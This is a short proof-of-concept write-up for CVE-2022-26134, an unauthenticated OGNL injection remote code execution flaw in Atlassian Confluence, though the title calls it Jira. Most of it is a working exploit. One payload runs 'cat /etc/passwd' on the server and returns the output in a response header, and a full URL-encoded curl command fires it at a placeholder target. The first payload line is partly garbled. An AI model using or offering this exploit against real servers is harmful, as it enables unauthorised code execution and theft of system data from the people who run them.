CVE-2022-26134 by 1vere$k

Just simple PoC for the Atlassian Jira exploit. Provides code execution for unauthorised user on a server.

CVE-2022-26134 - OGNL injection vulnerability.

Script proof of concept that exploits the remote code execution vulnerability affecting Atlassian Confluence 7.18 and lower products. The OGNL injection vulnerability allows an unauthenticated user to execute arbitrary code on a Confluence Server or Data Center instance.

Payload

${(#[email protected]@toString(@java.lang.Runtime@getRuntime().exec("cat /etc/passwd").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Cmd-Response",#a))}

Example with CURL command:

curl --head -k "https://YOUR_TARGET.com/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22cat%20%2Fetc%2Fpasswd%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Cmd-Response%22%2C%23a%29%29%7D" 

Then, the result of the command will be reflected in the parameter X-Cmd-Response in the response header.